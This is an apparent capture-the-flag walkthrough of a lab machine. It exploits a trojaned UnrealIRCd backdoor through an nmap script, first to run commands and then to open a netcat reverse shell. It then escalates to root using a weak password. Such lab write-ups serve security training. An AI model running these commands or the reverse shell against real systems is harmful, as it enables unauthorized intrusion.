SunsetNoontide

Recon

Nmap results

```
nmap -sC -sV -p-  192.168.179.120
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 14:10 CDT
Nmap scan report for 192.168.179.120
Host is up (0.063s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd
6697/tcp open  irc     UnrealIRCd
8067/tcp open  irc     UnrealIRCd
Service Info: Host: irc.foonet.com
```

UnrealIRCd further enumeration.

```
nmap -sV --script=irc-unrealircd-backdoor 192.168.179.120
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 14:12 CDT
Nmap scan report for 192.168.179.120
Host is up (0.069s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See
http://seclists.org/fulldisclosure/2010/Jun/277
Service Info: Host: irc.foonet.com
```

The scan results show that it is a trojaned version.

We can test if RCE works by telling the irc server to ping our machine.

Set up tcpdump on local machine.

```
tcpdump -Z root -i tun0 icmp
```

Then run this nmap script to excute commands on the irc server.

```
nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-
backdoor.command='ping -c 5 192.168.49.179' 192.168.179.120
```

```
┌──(root💀kali)-[~/pg/boxes/sunsetnoontide]
└─# tcpdump -Z root -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:22:36.298077 IP 192.168.49.179 > 192.168.179.120: ICMP echo request, id 45762, seq 0, length 8
14:22:36.298317 IP 192.168.49.179 > 192.168.179.120: ICMP time stamp query id 56047 seq 0, length 20
14:22:36.358847 IP 192.168.179.120 > 192.168.49.179: ICMP time stamp reply id 56047 seq 0: org 00:00:00.
22:42.518, xmit 19:22:42.518, length 20
14:22:53.901122 IP 192.168.179.120 > 192.168.49.179: ICMP echo request, id 1046, seq 1, length 64
14:22:53.901146 IP 192.168.49.179 > 192.168.179.120: ICMP echo reply, id 1046, seq 1, length 64
14:22:54.902737 IP 192.168.179.120 > 192.168.49.179: ICMP echo request, id 1046, seq 2, length 64
14:22:54.902761 IP 192.168.49.179 > 192.168.179.120: ICMP echo reply, id 1046, seq 2, length 64
14:22:55.904015 IP 192.168.179.120 > 192.168.49.179: ICMP echo request, id 1046, seq 3, length 64
14:22:55.904034 IP 192.168.49.179 > 192.168.179.120: ICMP echo reply, id 1046, seq 3, length 64
14:22:56.905458 IP 192.168.179.120 > 192.168.49.179: ICMP echo request, id 1046, seq 4, length 64
14:22:56.905481 IP 192.168.49.179 > 192.168.179.120: ICMP echo reply, id 1046, seq 4, length 64
14:22:57.907158 IP 192.168.179.120 > 192.168.49.179: ICMP echo request, id 1046, seq 5, length 64
14:22:57.907177 IP 192.168.49.179 > 192.168.179.120: ICMP echo reply, id 1046, seq 5, length 64
```

We are getting pings back from the machine which means RCE works. Now lets make it execute netcat and connect back to our machine.

Nmap command for RCE:

```
nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.49.179 9001' 192.168.179.120
```

Listener:

```
nc -lvnp 9001
```

```
┌──(root💀kali)-[~/pg/boxes/sunsetnoontide]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.49.179] from (UNKNOWN) [192.168.179.120] 35190
id
uid=1000(server) gid=1000(server) groups=1000(server),24(cdrom),25(floppy),29(
9(netdev),111(bluetooth)
whoami
server
```

System enumeration and Privilege escalation

Lets check the Unreal3.2 directory and see what we find.

```
aliases                 configure           ircd.log        README
autoconf                curl-ca-bundle.crt  ircd.pid        spamfilter.conf
badwords.channel.conf   curlinstall         ircd.pid.bak    src
badwords.message.conf   CVS                 ircd.tune       tmp
badwords.quit.conf      dccallow.conf       keys            unreal
Changes                 doc                 LICENSE         unreal.in
Changes.old             Donation            Makefile        unrealircd.conf
Config                  extras              Makefile.in     unrealircd.conf.old
config.guess            help.conf           makefile.win32  Unreal.nfo
config.log              include             modulize        update
config.settings         INSTALL.REMOTEINC   m_template.c    wircd.def
config.status           install-sh          networks
config.sub              ircdcron            newnet
```

Reveiwing the ircd.log, we find a root login with plain text credentials.

```
[Sat Aug  8 19:52:14 2020] - Connect - root!root@192.168.100.139 [VHOST B90BA746.B64A8BD2.EA8777A3.IP]
[Sat Aug  8 19:54:45 2020] - Disconnect - (0:2:32) root!root@192.168.100.139 [VHOST B90BA746.B64A8BD2.EA8777A3.IP]
```

The password is root.

Su as the root user.

```
su root
root

id
id
uid=0(root) gid=0(root) groups=0(root)
```